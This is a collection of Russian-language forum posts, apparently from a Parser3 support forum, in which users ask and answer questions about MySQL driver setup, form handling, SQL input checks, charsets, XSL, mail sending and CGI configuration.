Закоментарренных строк, которые могли бы относиться к MySQL не нашёл, однако нашёл следующую конструкцию, которую и добавил в auto.p, расположенный в корневой директори сайта:\
[code]\
@conf[]\
$charsetsdir[/usr/local/parser/etc/parser3.charsets]\
$sqldriversdir[/usr/local/parser/lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
    ]\
#change your client libraries paths to those on your system\
    $SQL[\
            $.drivers[^table::set{protocol  driver  client\
            mysql   $sqldriversdir/libparser3mysql.so       -configure could not guess-\
            pgsql   $sqldriversdir/libparser3pgsql.so       -configure could not guess-\
            oracle  $sqldriversdir/libparser3oracle.so      -configure could not guess-\
    }]\
    ]\
[/code]\
\
После этого сообщение об ошибке приобрело другой вид:\
[color=\"red\"]\
/home/httpd/www/vniiftri.ru/admin/index.htmlp(27): 'mysql://root@localhost/test' undefined protocol 'mysql'  type: parser.runtime\
[/color]\
\
И здесь я вообще перестал что-либо понимать - только я ему описал протоко, как он говорит мне, что protocol undefined!\
\
Пожалуйста, помогите разобраться...\
webmaster[remove]@vniiftri.ru"
"5506","А в чем трудности-то?\
Говори - помогем."
"5507","Да проблемы не как таковой. Я просто второй день как этот парсер увидел, хотелось пример посмотреть, если таковой имеется, конечно ... например, можно ли размер графического файла менять средствами  парсера? "
"5510","Имею вот такой класс:\
\
@CLASS\
vnv\
\
@load[] \
^MAIN:dbconnect{$messages[^table::sql{select YesOrNot, id, Date, Tex, Zakaz, Summa, Boss.Boss, IdOtdel, Monkey, IdMonster from beer INNER JOIN Boss ON beer.IdBoss = Boss.IdBoss where YesOrNot=0}]} \
\
@show_messages[] \
 \
   ^messages.menu{ \
<form method=\"post\" action=\"index.html\"> \
      <table width=\"100%\"> \
      <tr> \
         <td>$messages.Date</td>\
         <td>$messages.Tex</td>\
         <td>$messages.Summa</td>\
         <td>$messages.Boss</td> \
         <td>$messages.Monkey</td> \
         <td><input type=hidden  value=\"$messages.id\" name=\"vn\"></td> \
         <td><input type=hidden  value=\"$messages.id\" name=\"post\"></td> \
         <td><input type=\"submit\" value=\"Подписать\" name=\"$messages.id\"></td>\
      </tr> \
      </table> \
</form> \
<hr> \
                }\
\
\
^if($form:post eq $form:vn){ \
^MAIN:dbconnect{^void:sql{update beer set YesOrNot=1, DateYes=now() where id=$form:vn}}}\
\
п1. Всё работает на пять, но до тех пор пока не закрою броузер.\
После нового обращения получаю:\
\
CDBException: Ошибка синтаксиса (пропущен оператор) в выражении запроса 'id='.\
\
update beer set YesOrNot=1, DateYes=now() where id=\
\
Но как же так! Ведь десять секунд назад всё было в порядке!?!\
Начинаю шаманить! Меняю, меняю, меняю! Трах-бах заработало!\
Но до тех пор пока (смотреть п1.)\
\
Что за бред? Помогите пожалуйста!!! "
"5511","у тебя всё время выполняется запрос на update и в случае если ты нажимаешь кнопку формы данные отправляются и поля формы vn и post имеют определённые значения и поэтому update работает. В случае если данные не отправляются то эти поля неопределены и поэтому происходит ошибка синтаксиса в условии where оператора update\
\
Выход такой:\
[code]\
^if(def $form:post){ \
    ^MAIN:dbconnect{^void:sql{update beer set YesOrNot=1, DateYes=now() where id=$form:vn}}\
}\
[/code]\
подумай над этим"
"5512","1. if(def $form:post && $form:post eq $form:vn){...}\
2. where id=$form:vn -> where id=^form:vn.int(0)"
"5513","но не могу понять зачем ему 2 одинаковых поля, ведь второе условие ($form:post eq $form:vn) выполняется всегда и поэтому я думаю здесь достаточно наличие проверки только одного поля формы, ну и разумеется приведение его к целому числу в update."
"5514","Это могла быть дополнительная проверка на валидность постинга. \
\
Я увидел, что написано ^if($form:post eq $form:vn){...} и написал вначален def ... т.к. когда они не определены, то они тоже равны.\
\
Если анализировать логику, то вообще следует поставить под сомнение передачу двух одинаковых величин под разными именами :)\
\
Далее, если он это поле использует как id, то там должно быть число, поэтому проверять стОит ^if(^form:vn.int(0)){...} т.к. если кто-то передаст туда 'хрен' то незачем идти и что-то пытаться апдейтить... :)\
\
Я вообще всегда не так проверки эти делаю :))\
"
"5515","и вероятно в случае числа надо делать:\
\
^if(def $form:post && $form:post is 'int'){...}"
"5517","[quote]\
Такая конструкция возвращает значение поля формы. Возвращаемый объект может принадлежать либо классу file, если поле формы имеет тип file, либо классу string. Дальнейшая работа с объектом возможна только методами, определенными для соответствующих классов. \
[/quote]\
тогда от хрена нету защиты :), если только делать ^form:xx.int(число), но это не выход."
"5519","^if(^form:vn.int(0)){\
  сюда попадем если значение, пришедшее из формы после поеобразования в число получило значение, отличное от 0, что обычно очень неплохо для id...\
}"
"5520","Я не понимаю, почему предполагается, что\
после присваивания $abc[] в переменной $abc\
должна быть пустая строка, а, скажем, не\
пустая таблица или хэш. Тогда, если быть до конца\
последовательным, классу void нужно\
сделать методы классов table и hash.\
Здесь я _не_ предлагаю так делать,\
скорее высказываю сомнение в необходимости\
методов length и pos для класса void.\
\
Я, опять же, не понимаю, чем возмущен\
уважаемый Constantine. В Парсере нет необходимости\
объявлять используемые переменные и все переменные,\
для которых специально не описано противное, глобальные.\
В других языках это не так, например в Perl\
приходится писать\
[code]\
use strict;\
my $abc;\
if( $x == 0 ){ $abc = 'ноль' }\
else { $abc = 'не ноль' }\
[/code]\
В Парсере же можно отложить присваивание переменной\
значения до того момента, когда это значение будет известно.\
Нет смысла присваивать переменной значение пустой строки\
исключительно для того, чтобы к ней потом в цикле приписывать!\
\
Парсер, как я думаю, по синтаксису ближе к фунциональным языкам,\
чем алгоритмическим. Это своеобразный гибрид. И поэтому,\
думаю, не нужно использовать стандартные приемы, работающие в\
Си или Перле. Можно придумать лучше, скажем так, в духе\
Парсера. И, то что в Парсере не работают программы\
переведенные (а не переделанные) с других языков,\
это вовсе не баг. Это значит - думать надо :)\
\
Спасибо за внимание :)\
\
p.s. ябс - я буду спорить :)"
"5521","в такой ситуации весьма вероятно что мы получим правильный id для update за исключением случаев если в форму пихать заведомо ложное числовое значение id, и от хрена защита получается :)"
"5522","по основным соображениям согласен.\
\
в некотором смысле «беда» в том, что хочется «в духе parser».\
скажем, это в духе parser:\
[code]\
^form:field.int(0)\
[/code]\
\
мы достали, преобразовали. если сюда влепить проверки, получится некрасиво=не в духе. отсюда вытекает «для поддержания духа parser необходимы void.int/double».\
\
то, что при этом возникает некоторая нелогичность, не смущает до тех пор, пока всё удобно и интуитивно понятно. конечно, всегда другим ограничением является красота реализации."
"5523","Парсер - это объектно-ориентированный язык и в этом проявляется его истинная мощь.\
\
Хотя если честно то про принадлежность того или иного языка к конкретному семейству в чистом виде говорить нельзя, - язык пожет поддерживать несколько парадигм программирования и пусть каждый выберет для себя удобную для той или иной задачи."
"5524","Данные не обновляются!?\
В базу всё пишет а страницу не обновляет, сразу после отправки.\
Только после нажатия Ф5! Как побороть?\
\
Заранее СПАСИБО!\
\
"
"5525","[code]\
onclick=\"window.opener.document.location.reload(true)^; window.close()^;\"\
[/code]"
"5528","Это значит:\
\
1. что \"конфиг по умолчанию\" - не был считан вообще - скорее всего файл принадлежит другому пользователю\
\
2. вместо -configure could not guess- надо прописать путь к библиотеки mysql. Обычно это что-то вроде:\
\"mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/mysql/libmysqlclient.so\"\
"
"5529","Ой! А как это правильно сделать???"
"5530","Я не знаю, откуда ты вызываешь @load[] и откуда код, выполняющий апдейт базы.\
\
Если так, как у тебя написано - то апдейт ты делаешь когда вызываешь метод, ПОКАЗЫВАЮЩИЙ информацию. \
\
По мему это плохо.\
\
Я перенес-бы код апдейта в @load[] ПЕРЕД select но после установления соединения с БД.\
\
Но я не знаю твою задачу..."
"5531","НЕ работает! Синтаксическая ошибка!\
\
<td><input type=\"submit\" value=\"Подписать\" name=\"$messages.id\" onclick=\" window.opener.document.location.reload(true)^;></td>"
"5533","Дык от сюда и вызываю:\
@USE\
/classes/vnv.p \
\
@body_main[] \
ВН<br> \
<hr> \
\
$gb[^vnv::load[]] \
^gb.show_messages[]\
\
А как проапдейтить не знаю!  :о\\"
"5537","Дело в том, что \"Назад + submit\" нажимает далеко не каждый, кроме того интерфейсом можно сделать подобную вещь очень сложно реализуемой (ну... в этом форуме окошко закрывается... как ты назад сделаешь?) :)\
\
Кроме того, если дать человеку возможность нормальной навигации он этот Back жмакать не будет по каждому поводу.\
\
Ну и не в ломы мне при добавлении сравнить содержимое добавляемой записи с существующими (всего один селект, а если учесть, что апдейты происходят достаточно редко, то...)"
"5538","Спасибо!!! Всё работает!"
"5539","P.S. не обижайся, что ты уже работаешь над собой :)"
"5540","Большое спасибо с латиницей работает на ура, но если делаю выборку из базы где все написано кирилицей то опять предыдущие проблемы.\
\
P.S. записи в базе хранятся в koi8-r а вывожу в win-1251"
"5541","Этот пример был не мой, а со старой страницы с документацией на parser2. :-)\
\
Моя часть в этом примере -- [i]$document:title[$document:title :: mnogo deneg from parser2][/i] -- формирует [i]<title>$document:title</title>[/i], как предлагаете обойтись без добавление строк в переменную при иерархической структуре? Оператор append для строк был бы очень даже кстати! "
"5542","В этом случае я согласен, в качестве оправдания могу сказать что написал это только недавно, и ещё не успел прооптимизировать. ;-) \
\
Про необходимость оператора append я написал [url=\"./?id=5541\"]ответ[/url] в соответствующем треде. "
"5543","Возникла странная проблема. Есть таблица, поле mid - primary key, auto increment. Есть вот такая пара запросов:\
[code]\
$messages[^table::sql{INSERT INTO forums\
	(fid,\
	tid,\
	X)\
VALUES\
	($fid, \
	$tid, \
	$X)}]\
$mid(^int:sql{SELECT mid FROM forums WHERE tid = $rid AND X = $X AND fid = $fid})\
[/code]\
Второй запрос говорит о no default option specified, другими словами MySQL не находит записей, соответствующих второму запросу. В чём может быть дело?"
"5544","Спасибо! ;-)\
\
Когда планируется выложить обновлённые версии в раздел \"скачать\"? "
"5545","То, о чём вы говорите (можно получить дописав в конец строки подключения ([i]?charest=cp1251_koi8[/i]), либо командой [i]set character set cp1251_koi8[/i]) является онлайн-перекодировкой данных. Кодировка данных в таблице -- это другой разговор (см. ниже).\
\
По умолчанию в MySQL используется кодировка [i]ISO-8859-1 (Latin1)[/i] (это как раз то, что влияет на операторы сортировки, группировки, и т. д.). \
\
Подробнее читайте об этом в документации, это уже относится к настройкам СУБД. http://www.mysql.com/doc/en/Character_sets.html . После этого, можете написать в этот тред небольшую справку о том, как же всё это сделать (я этого пока не делал).\
\
Удачи! "
"5546","http://www.mysql.com/doc/en/String_functions.html"
"5547","На Макинтоше он не работает никак :( (во всяком случае, 3 недели назад не работал ;-) )...\
\
А если смотреть на матч, который предложил Миша, я бы его чуть поправил:\
[code]\
^smth.match[(\\s){2,}][g]{$match.1}\
[/code]\
сохраняя тем самым тот самый символ, который там был - иначе \"повалятся\" комбинации из нескольких разных пробельных символов подряд, что, думается, мало устраивает, ибо в случае \"пробел+энтер\" энтер просто \"протопчется\"."
"5548","У меня такой вопрос.\
Можно ли вообще написать на парсере, скрипт который будет вести поиск в интернете какой либо информации, и складывать ее в базу данных. Но можно ли вообще сделать этот процесс автономным, т.е. разместить данный скрипт на хостинге, и чтобы шла работа без участия человека. Если да то подскажите как!\
За ранее благодарен за ответ."
"5549","да. я пожалуй выберу второй способ, потому как собирать из исходников у меня его все равно не получиться.\
но только подскажите пожалуйста, что там конкретно надо подправить и на что? и где достать хороший HEX-editor для этих целей? а то у меня под рукой его не оказалось :("
"5550","Создаю xml докимент:\
\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<FORUM>\
 <USER>\
  <ID>1</ID>\
  <TYPE>vopros</TYPE>\
  <DATE>13.12.2001</DATE>\
 </USER>\
 <USER>\
  <ID>2</ID>\
  <TYPE>1</TYPE>\
  <DATE>14.12.2001</DATE>\
 </USER>\
</FORUM>\
\
\
Создаю xsl:\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/TR/WD-xsl\">\
<xsl:template match=\"/\">\
    <table border=\"1\" cellpadding=\"4\" cellspacing=\"0\">\
      <tr bgcolor=\"#999999\" align=\"center\">\
        <th>ID</th>\
        <th>TYPE</th>\
        <th>DATE</th>\
      </tr>\
      <xsl:for-each select=\"FORUM/USER\">\
      <tr>\
        <td><xsl:value-of select=\"ID\"/></td>\
        <td><xsl:value-of select=\"TYPE\"/></td>\
        <td><xsl:value-of select=\"DATE\"/></td>\
      </tr>\
      </xsl:for-each>\
    </table>\
</xsl:template>\
</xsl:stylesheet>\
\
Создаю html:\
\
$sourceDoc[^xdoc::load[1.xml]] \
\
$transformedDoc[^sourceDoc.transform[1.xsl]] \
\
^transformedDoc.string[ \
    $.method[html] \
]\
\
Получаю на выводе:\
\
Unhandled Exception (Debug)\
compilation error: file b:/home/d3/www/forum/1.xsl element stylesheet\
xsltParseStylesheetProcess : document is not a stylesheet\
\
b:/home/d3/www/forum/1.xsl\
\
(1)\
exception.type=xml \
--------------------------------------------------------------------------------\
transform b:/home/d3/www/forum/dom.html(3)\
\
Я бы стал дальше бы искать причину, но я попробовал написать на JS:\
\
<script language=\"javascript\">\
var xml = new ActiveXObject(\"Microsoft.XMLDOM\");\
xml.async = false;\
xml.load(\"1.xml\");\
var xsl = new ActiveXObject(\"Microsoft.XMLDOM\");\
xsl.async = false;\
xsl.load(\"1.xsl\");\
document.write(xml.transformNode(xsl));\
</script>\
\
Все заработало!\
\
Так что же Парсеру не нравиться в xsl файле?????"
"5551","Надо писать перловый скрипт, запускать его через крон периодически ...\
А управлять базой - парсером."
"5552","У меня есть такая проблема.\
\
Дело в том, что функции ^xdoc::create{^forum[show]}\
\
не нравиться, что XML документ из ^forum[show]\
содержит символы перебрасывания на следующиую строку, потому что попробывал написать так ^xdoc::create{весь документ в одну строку}\
\
Так вот, мне необходимо заменить в ^forum[show] все символы перебрасывания на новую строчку на симолы ничего (\"\")\
\
Я пытался придумать, как осуществить замену при помощи\
\
$rep[^table::create{\
что я только здеся не писал\
}\
] \
\
^forum.replace[$rep]\
\
но ничего не вышло.\
\
\
может вы мне подскажите какой-нибудь способ это провернуть.\
Спасибо.\
"
"5553","При помощи парсера можно запускать любую программу. Т. е. можно запустить [url=\"http://www.wget.org/\"]wget[/url], и получить всё, что хочешь по протоколам http, https, ftp. После этого всё это дело можно разобрать (пропарсить :), и затем поместить в базу данных. В unix-подобных системах есть deamon [url=\"http://www.freebsd.org/cgi/man.cgi?query=cron&sektion=8\"]cron[/url],  с помощью него можно назначить выполнение определённого задание в определённое время. Т. е. всё это реально сделать под контролем парсера, без каких-либо \"конкурентов\" языка. ;-)"
"5556","я понял общую идею. Но разве реализация всех методов для класса void будет занимать много ресурсов? А то неизбежны ситуации \"не в духе парсер\". ;-) Ведь не все методы используются довольно часто. Я уверен, что некоторые пользователи увидев ошибку в нечастоиспользуемом методе, просто при дальнейшем программировании будут её избегать во всех методах, используя ^if(def \"$string\"), в итоге где мы находим дух парсера? ;-) Дух парсера, это что-бы всё работало как ты ожидал! Попытка получения длины пустой строки (просто в качестве примера) ни в коем случае не должна вызывать ошибку! (Забудьте на секунду о [i]вашем[/i] программном продукте, и посмотрите на это со стороны кодера, не думающего вникать в исходные коды parser3. ) И т. д. И мне кажется, это не совсем корректно, если половина методов не сообщают об ошибке при применении к классу void, а половина сообщают. Я не вижу какого-либо смысла показывать примеры необходимости методов для void. Это лишь вопрос \"популярности\" определённых методов, и вопрос времени. Это изначально неправильно оставлять такие \"фичи\" только у \"непопулярных\" методов. Я искренне надеюсь, что вместе мы сделаем дух парсера ещё лучше! ;-) Я выступаю за отсутствие ошибок при применения методов к классу void! Я думаю, меня поддержат любители духа парсера! \
\
P. S. \
Не сочтите за что-нибудь плохое, но мне ещё как минимум нужен ^void.lower. :-)\
\
Всё тот же разбор строки поиска (для создания sql-запроса):\
[code]\
^if(def \"$match.8\"){^if(\"^match.8.lower[]\"eq \"or\"||\"$match.8\"eq \"||\"){or}{^if(\"^match.8.lower[]\"eq \"and\"||\"$match.8\"eq \"&&\"){and}}}\
[/code]"
"5557","спасибо, всё получилось. :)"
"5559","[code]\
SELECT `mid` FROM forums WHERE tid = $rid AND X = $X\
[/code]\
Работать тоже не хочет, та же ошибка - produced no result, but no default option specified."
"5560","я пишу её так:\
[code]\
<xsl:stylesheet\
	version=\"1.0\"\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
>\
[/code]"
"5561","Поставил парсер 3.0.0005\
И теперь при вызовах любых вызовах CGI-скриптов (c передачей ENV) из парсера получаю ошибки вида [code] 'SomeVar' not safe environment variable [parser.runtime][/code]\
\
Т.е. такой код, ранее работавший под 3.0\
\
[code]\
$cgi_output[\
  ^file::cgi[/cgi-bin/parseIt.cgi;\
    $.author[$cookie:author]\
  ]\
]\
[/code]\
\
создает неприятную запись в error.log:\
[code]'author' not safe environment variable [parser.runtime] [/code]\
\
Может теперь нужно как-то по другому данные передавать?\
"
"5562","Ты вставляешь: tid = $tid\
А достаешь: tid = $rid\
\
Уверен, что $tid == $rid или что в таблице есть такая запись?"
"5563","[quot]\
Внимание: можно задавать только стандартные CGI переменные окружения и переменные, имена которых начинаются с CGI_ или HTTP_. \
[/quot]\
"
"5566","эта штука делает рефреш окну, из которого с помощью жабы скрипт открылось другое окно, в котором чего-то делается и при нажатии кнопки енто новое окно закрывается и происходит вышеуказанное действие."
"5568","для того, что бы прикрепить к письму файл, пользуюсь:\
[code]\
^uuencode[^include[asis;/path/to/file];filename.ext]\
[/code]\
Не работает. Смотрю, что выдает просто ^include[/path/to/file]\
Результат - содержимое файла до первого символа с кодом 0x00.\
Что делать, что бы полностью вставить файл?\
"
"5569","Думаю что это вариант, но можно ли сделать так чтобы скрипт непрерывно искал информацию в инете? Сам бес какого дибо участия со стороны Админа сайта. Т.е. Я хочу сделать систему которая будет заниматься поиском, скроипт коего будет находиться на хостинге. Но подойдет ли для этого Parser/"
"5570","замени вторую строчку xsl на\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
твоя строчка \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/TR/WD-xsl\">\
это старый вариант   реализации xsl в microsoft,  уже не поддерживается"
"5571","это действие — типичная таблица, у неё append давно есть.\
если делать, как приводите, то изменение \"::\" на другие буквы потребует правки тучи файлов, что скверно.\
другой пример?\
\
[code]\
@auto[]\
$title[^table::create[part]]\
[/code]\
.\
.\
.\
[code]\
@auto[]\
^title.append{имя подраздела}\
[/code]\
.\
.\
.\
[code]\
<title>^title.menu{$title.part}[ :: ]</title>\
[/code]"
"5572","если добавлять всё, надо добавить и menu и всё остальное всех классов. это неразумно.\
\
ведь кодер может ожидать работоспособности конструкции…\
[code]\
^form:tables.options.menu{\
    …\
}\
[/code]\
а посетитель может не зажечь ни одного check box'а.\
\
я вижу только один выход: подробно задокументировано, что есть и чего нет, и нет никакого бреда вроде объединения всех методов всех классов -> в void.\
\
ещё раз: я согласен, что это не вполне последовательно.\
ещё раз: если это сохраняет несколько сотен проверок на проект, почему нет? {риторический}\
\
ещё раз: это не сохранит ВСЕ проверки, сохранит подавляющее большинство, это разумный максимум."
"5573","Ок, спасибо за match.\
На маке не работает, я знаю, но мне и не надо :-)\
Контрол тот только для руления сайтом, так сказать \"content managment\". А там маков нет и не будет ))))))\
"
"5574","http://parser.ru/docs/lang/mailsend2.htm\
\
в parser2 нельзя было. как там сделать, помогут в том форуме, если сами придумаете."
"5575","Вы уж меня извините плз :-/\
\
Вот такой вопрос:\
Где можно достать информацию по теме написания своего собственного робота.\
Хочу написать такую штуку и шоб полностью автономна была.\
\
Помогите чем сможете."
"5577","... блин маленько в заблуждение ввел :-(\
\
Это должен быть скрипт чтоль на чем нить. Который лазит по сайтам собирает некую инфу и так от сайта к сайту по линкам. Пока весь интернет не пролезет на своем пузе :-)\
\
Во вроде что-то в ентом духе."
"5578","сюда пишу, т.к. туда никто не ходит."
"5579","Господа, что это за ...\
Необгодимо перенести проект с БСД на Солярис, реализованный на втором парсере. Скачали бинарий, а в нём не работает ни одна функция для работы со строками. MID & REPLACESTR  мы реализовали при помоши match, а как быть с ^length ?\
\
Может будете благоразумны и соберёте его в работоспособном виде. Пожалуйста."
"5580","нанести рамку на картинку загружаемую ^image::measure[файл.jpg] и выводимую на экран ^картинка.html[]. Задача такая: надо чтоб все картинки которые выводятся на экран были окружены рамкой со скошенными уголками."
"5582","Какие траблы брат-кодер?\
Делаешь 4 уголка и четыре кусочка с рамкой минимальной длины\
в коде говоришь что картинка вставляется в таблицу из 9-ти ячеек: по угловым ракладываешь \"уголки\", в средние(по горизонтали и вертикали) укладываешь кусочки рамок, растягивешь(read man HTML)... и все ;)"
"5583","0) На площадке провайдера: (Операционная систему FreeBSD 4.6-STABLE, Apache, провайдер - Zenon.)\
При обращении к mysql получаю сообщение [undefined macro SERVER_ERROR] \
1) Дома: (Win32, Apache) все запросы к mysql отрабатываются корректно.\
2) На площадке провайдера: На том же сайте, с той же базой, с тем же паролем и именами _но_из_РНР_ получаю корректный ответ на запрос.\
\
Может кто подскажет, в чем я неправ?\
ПамажИте..."
"5585","Мне не совсем нравится такой вариант по одной причине, чем больше на странице таблиц, особенно вложенных, тем сильнее тормозит NN, а хотелось бы иметь сайты нормально работающие и в IE и в NN. "
"5586","DIV, LAYER et c.\
И на самом ли деле так сильно тормозит: думаю выдача на ~пару десятых секунды не сильно критично?"
"5587","Насчет (?charest=cp1251_koi8) эта строка у меня существует\
А вот насчет того что по умолчанию все в базе хранится в iso - 8859-1 \
это для меня новость, я вообщето думал что в KOI8-r? ПРИДЕТСЯ отказатся от вывода по алфавиту (а жаль), придется переустанавливать MySQL а на нем у меня уже много баз и выключать сервер нельзя не на минуту. Буду ждать когда новый сервер придется устанавливать, тогда и буду генерить его уже с параметром [code] --with-charset=koi8_ru [/code]\
\
Всем большое списибо за помощь"
"5588","Чтото странное с форумом.\
Вхожу под своим Логином, пытаюсь войти в настройку, а в ответ открывается форма регистрации.\
Ввожу все свои данные говорят что такой логин уже существует, что вполне логично.\
[color=\"red\"]ВОПРОС: куда делась форма настройки.[/color] \
Проверял тожесамое на http://parser2.parser.ru/forum/ ВСЕ работает."
"5590","мало того еще есть токое\
ввел ЛОГИН, ПАРОЛЬ - авторизация прошла\
перехожу на другую страницу и вижу что снова просят авторизацию\
Может это только у меня такое\
Кто нибудь проверьте еще."
"5592","И это похоже не только у тебя, т.к. мне сегодня еще сообщили подобное...\
\
Не знаю пока, буду смотреть... Но я ничего не менял на днях :("
"5593","Только что проверил все заработало"
"5595","В _macro.cfg сайта создай следующий макрос\
[code]\
@SERVER_ERROR\
$1 $2 $3\
[/code]\
Он тебе расскажет про ошибки"
"5596","то, что вы хотите сделать выходит за возможности языка для скриптования сайтов. Для этого надо писать скрипт на уровень выше -- свой parser. :-) Можно использовать C++, на котором написан сам parser3. :-)"
"5597","Всем привет! Я установил парсер на FreeBsd 4.6 \
положил parser3.cgi  в cgi-bin , скачал примерчик с сайта, запустил а мне пишет:\
\"user-request(1): '/pub/home/juggy46/htdocs/calendar.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/pub/home/juggy46/htdocs/calendar.html'  type: parser.runtime\"\
Что ДЕЛАТЬ? \
Заранее спасибо.\
"
"5598","Даже нашел на сайте что надо скачать, установил в cgi-bin.\
Все равно не работает"
"5602","parser[CGI бинарник] пытается писать его в тот же каталог, где лежит.\
\
если не получается, он пишет их на stderr, который попадает в лог ошибок веб-сервера.\
\
диагноз: ищите там, а если там неудобно, создайте рядом с cgi'ником файл error.log, и дайте скрипту право писать в него."
"5603","прошу помощи.\
сразу же оговорюсь что ваяю на предыдущей версии парсера, но в соотвествующем форуме по-моему уже никто не бывает.\
сиутация следующая.\
я генерю джаваскриптом окно с динамически составленным текстом - формой, ну как вот здесь постинг сообщения в форум, только разница в том что я не вызываю внешнй файл, а генерю через document.write(). все работает, постинг отправляется, окно закрывается, родительское окно перегружается, но вот постинг осуществляется в корявой кодировке. пробовал игратсья с meta http-equiv-ом, с <form accept-charset=...>, ничего не повлияло...\
подскажите какое-нибудь мудрое слово ?\
не хочется плодить файлы тем более что динамически как бы все уже запрограммировано на работу, вот только кодировки - ..."
"5604","конечно, если вы решите, что отдельный error.log вам удобен для отладки, имейте в виду, что он имеет тенденцию бесконечно расти.\
\
рекомендуемый вариант: каталог с CGI скриптами и все файлы в нем делать недоступным для записи от любого пользователя. данные хранить в другом каталоге. в конце — предлагаемая структура.\
\
лишняя строгость не повредит, а ошибки попадут в лог ошибок веб-сервера. обычно, ваш системный администратор предпринял меры от его бесконтрольного роста.\
\
cgi/  [read-only]\
classes/  [read-only]\
data/  [read-write]\
www/ [read-only]\
____off-line/  [read-write, для выкладывания из /admin всяких .pdf & co]\
\
"
"5607","Всем добрый день!\
Я только вчера начал изучать парсер. Посидел ночь перед компьютером.\
Я вообще-то два года программировал на PHP, теперь решил попробовать что-то другое.\
\
У меня такие вопросы:\
1. В php  можно сделать так:\
[code]\
if(empty($QUERY_STRING)){\
Форма для отправки е-мыла отсылается в $PHP_SELF?MAILSEND\
}elseif($mailsend){\
отправляем е-мыло\
}\
[/code]\
Как мне сделать то же самое на парсере?\
И еще вопрос. Как мне передать переменные?\
Мыло отправляется так:\
[code]\
^mail:send[ \
      $.from[Вася <vasya@hotmail.ru>] \
      $.to[Петя <petya@hotmail.ru>] \
      $.subject[как дела] \
      $.text[Как у тебя дела? У меня - изумительно!] \
] \
[/code]\
Как сделать так что бы было вместо вася переменная $name, вместо мыла, $mail , и.т.д.\
---\
Простите за глупость вопросов, просто я учусь :)\
Помогите примером пожалуйста."
"5608","1.\
[code]\
^if(def $request:query){\
...\
}{\
отправляем е-мыло\
}\
[/code]\
2.\
[code]\
^mail:send[ \
      $.from[$name <$mail>] \
      $.to[$to_name <$to_mail>] \
      $.subject[как дела] \
      $.text[Как у тебя дела? У меня - изумительно!] \
]\
[/code]"
"5609","Я сделал код \
[code]\
^if(def $request:query){\
<form action=\"ms.html\" method=\"post\">\
<input type=\"text\" value=\"Имя\" name=\"name\">:::\
<input type=\"text\" value=\"Мыло\" name=\"mail\"><br>\
<input type=\"text\" value=\"Кому\" name=\"toname\">:::\
<input type=\"text\" value=\"Кому мыло\" name=\"tomail\"><br>\
<input type=\"text\" value=\"Тема\" name=\"subj\"><br>\
<textarea rows=15 cols=60 wrap=\"off\" name=\"text\">Текст письма</textarea>\
<input type=\"submit\" value=\"Send\">\
</form>\
}{\
^mail:send[\
      $.from[$name <$mail>]\
      $.to[$to_name <$to_mail>]\
      $.subject[$subj]\
      $.text[$text]\
]\
}\
[/code]\
Файл назвал ms.html\
Пишет ошибку:\
/pub/home/juggy46/htdocs/ms.html(12): 'send' has no $body  type: parser.runtime\
"
"5610","надо так:\
[code]\
^if(def $request:query){\
<form action=\"ms.html\" method=\"post\">\
<input type=\"text\" value=\"Имя\" name=\"name\">:::\
<input type=\"text\" value=\"Мыло\" name=\"mail\"><br>\
<input type=\"text\" value=\"Кому\" name=\"toname\">:::\
<input type=\"text\" value=\"Кому мыло\" name=\"tomail\"><br>\
<input type=\"text\" value=\"Тема\" name=\"subj\"><br>\
<textarea rows=15 cols=60 wrap=\"off\" name=\"text\">Текст письма</textarea>\
<input type=\"submit\" value=\"Send\">\
</form>\
}{\
^mail:send[\
      $.from[$form:name <$form:mail>]\
      $.to[$form:toname <$form:tomail>]\
      $.subject[$form:subj]\
      $.text[$form:text]\
]\
}\
[/code]"
"5611","а то строки запроса не будет ведь"
"5612","ничего у меня почему-то не работакт ...."
"5613","Поле $.text[] было введено недавно (кажется в версии 0005), поэтому у тебя может не пониматься."
"5614","о! теперь дело :)\
правда теперь совсем другая проблема ->\
/pub/home/juggy46/htdocs/ms.html(12): 'send' '/usr/sbin/sendmail' reported problem: UNKNOWN (67)\
"
"5615","а то код то не очень хочется старый переписывать"
"5616","Обратная совместимость тут оставлена :)\
\
Сделано это для большей общности (по словам ПАФа)"
"5617","Как мне удалить только один файл если он находится в поддиректории?\
Используя команду\
^file:delete[/files/file.txt]\
вместе с файлом удаляется и дирректория."
"5618","P.S. положи dummy файл... только зачем?"
"5620","Промучав свой комп пару часов, я все таки не смог получить правильный результат.\
1)Система: linux\
2)*parser3.cgi -> /cgi-bin/parser3.cgi\
3)/charsets\
  /lib\
  auto.p - все в  /cgi-bin/\
4)libparser3mysql.so -> /cgi-bin/lip/\
5).htaccess в /home/public_html/\
\
Вроде все!\
После создания sections.cfg, auto.p и index.html в /public_html, броузер страничку не находит ;((\
\
Что неправильно? "
"5621","Пример с таблицей мне не подходит. Нет такой универсальности и гибкости. С аргументом о замене разделителя на \"другие буквы\" я не согласен -- во первых, вместо изменения интерфейса вывода заголовка сейчас (потребует правки кучи файлов уже сейчас), будет намного легче позже просто делать match \"::\" на что-нибудь ещё, но в любом случае, я не думаю что в этом будет необходимость. \
\
В качестве примера приведу следующий код, который показывает, что при использовании таблицы теряется гибкость кода (и показывая необходимость ^string.append[]).\
\
[code]\
@prefs[]\
$document:title[$document:title :: preferences]\
\
^if(\"$form:w2\"eq \"update\"){\
\
^void:sql{update ph_users ...}\
$document:title[$document:title have been updated]\
# 2PAF: зная значение раздела мы добавляем пару слов без \"::\" \
#       не загружая заголовок пустыми словами и повторением. ;-)\
<p>Your registration has been updated. </p>\
\
}{\
\
<form ... />\
\
}\
[/code]"
"5622","Почему Вы так считаете, язык скриптования создан для обработки текста, я думаю что этого хватит, если нет то почему?"
"5623","Может DefaultDocument не прописан?\
Подробнее, пожалуйста\
"
"5625","Я уже написал, что можете попробовать. Только писать \"google\" на parser3 -- по-моему несерьёзно. ;-) \
\
